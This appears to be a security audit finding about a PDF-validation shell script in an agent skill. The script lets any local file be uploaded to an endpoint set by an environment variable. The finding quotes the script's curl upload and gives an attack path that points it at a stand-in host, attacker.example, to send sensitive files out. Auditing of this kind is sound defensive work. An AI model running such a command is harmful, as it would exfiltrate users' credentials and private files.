T09 · Insecure Skill Coding Practices
- Location
scripts/validate_pdf.sh:9- Finding
Unrestricted Local File Upload to an Environment-Controlled Endpoint
- Content
View full analysis
&2 exit 1 fi UA1_API_BASE="${UA1_API_BASE:-https://api.ua1.dev}" UA1_FORMAT="${UA1_FORMAT:-compact}" if [[ "$UA1_FORMAT" == "compact" ]]; then URL="$UA1_API_BASE/api/validate?format=compact" else URL="$UA1_API_BASE/api/validate" fi TMP_BODY="$(mktemp)" TMP_HEADERS="$(mktemp)" HTTP_CODE="$(curl -sS -D "$TMP_HEADERS" -o "$TMP_BODY" -w '%{http_code}' \ -X POST "$URL" \ -F "file=@${FILE_PATH}")" ``` ### Technical Analysis The script verifies only that the supplied path refers to an existing regular file. It does not verify that the input has a `.pdf` extension or begins with a valid PDF signature. Any readable regular file can therefore be submitted, including configuration files, credentials, private keys, or other sensitive local data. The upload destination is derived directly from the `UA1_API_BASE` environment variable without validating its scheme or host. A caller who controls the process environment can redirect uploads to an arbitrary HTTP or HTTPS server. Plain HTTP is also accepted, which can expose uploaded documents to interception or modification in transit. The file path itself is correctly quoted, so this finding is not a shell command-injection issue. The risk instead arises from the combination of unrestricted file selection and an unrestricted network destination. ### Attack Path 1. An attacker gains control over the environment or invocation parameters used by an automated workflow. 2. The attacker sets `UA1_API_BASE` to a server under their control, such as `https://attacker.example`. 3. The attacker supplies the path of a sensitive readable file instead of a PDF: ```bash UA1_API_BASE="https://attacker.example" \ b ...[truncated 807 chars]- Remediation
View remediation
